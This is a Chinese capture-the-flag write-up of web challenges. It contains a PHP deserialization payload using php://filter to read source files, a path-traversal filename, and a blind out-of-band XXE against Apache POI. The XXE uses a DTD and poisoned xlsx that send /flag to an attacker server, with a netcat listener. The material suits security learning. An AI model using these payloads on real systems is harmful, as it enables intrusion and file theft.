看來反序列化要多打點了,反序列化這塊都不怎麼熟~
AreUSerialz
源碼
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
考點:
序列化後產生不可見字符
private、protected序列化後產生不可見字符
private屬性序列化的時候格式是 %00類名%00成員名
protected屬性序列化的時候格式是 %00*%00成員名
__destruct()
而__destruct()這個魔術方法在每次銷燬一個對象時觸發。
而 PHP 的特性 「 運行完一次請求則銷燬環境 」 的做法。反正執行完請求後所有該銷燬的都會銷燬。
但是我們要把op == 2才能進入read利用
繞過
PHP7.1以上的反序列化不會判斷裏面參數的屬性類型了,所以可以改成public再進行反序列化,繞過private、protected序列化後產生不可見字符。__destruct()方法,當op===“2"時會將"2"變成"1”,可以把op轉成int型進行繞過~
讀取
因爲默認路徑改了個名~
先讀取一下index.php
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=convert.base64-encode/resource=index.php";s:7:"content";N;}
可以看到成功讀取了
但是讀不到flag.php~~
linux提供了/proc/self/目錄,這個目錄比較獨特,不同的進程訪問該目錄時獲得的信息是不同的,內容等價於/proc/本進程pid/。進程可以通過訪問/proc/self/目錄來獲取自己的信息。
下面內容來自imagin
1. maps 記錄一些調用的擴展或者自定義 so 文件
2. environ 環境變量
3. comm 當前進程運行的程序
4. cmdline 程序運行的絕對路徑
5. cpuset docker 環境可以看 machine ID
6. cgroup docker環境下全是 machine ID 不太常用
利用/proc/self/cmdline找到當前運行程序的路徑,
然後找到當前的網站根目錄配置文件。
不過好像相對路徑也可以~
filejava
一開始還以爲是java上傳題,後來下載時候發現可能是目錄穿越。
可以看到路徑,看看WEB-INF下面的web.xml試試
filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
比賽的時候和buu的路徑不太一樣。
一共三個文件,在UploadServlet.class文件中存在上傳poi-ooxml-3.10 has something wrong
這樣的輸出,發現3.10有一個漏洞
Apache POI 3.10-FINAL及以前版本被發現允許遠程攻擊者通過注入XML外部實體訪問外部實體資源或者讀取任意文件。
構造Blind OOB XXE
上傳引入我們的vps裏的dtd的一個xml的外部實體攻擊
上傳的文件滿足兩個條件:
- 以
excel-
開頭 - 以
xlsx
結尾
我在BUU上覆現的,BUU靶機只能內網訪問。所以需要用小號開一個Basic裏面的linux靶機
在/var/www/html/下構建一個1.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?%file;'>">
先創建一個xlsx文件,然後改後綴爲zip修改裏面的[Content_Types].xml文件。(先把該文件單獨解壓出來,修改完後再壓進去)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/1.dtd">
%remote;%int;%send;
]>
再將文件後綴改爲xlsx文件
監控我們linux靶機的2333端口(記得進去/var/www/html):
nc -lvvp 2333
然後上傳我們的xlsx文件就行了
就可以看到靶機上的注入結果了
notes
CVE-2019-10795 undefsafe原型鏈污染
最近在研究jsouyp搞爬蟲,準備開發個閱讀器自用= =,最後一題等我有時間在做好了,node這方面也不怎麼熟,希望後面用vue開發完後能很快理解~~~
參考
PHP反序列化從初級到高級利用篇
proc/self/目錄的意義
網鼎杯-web
Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解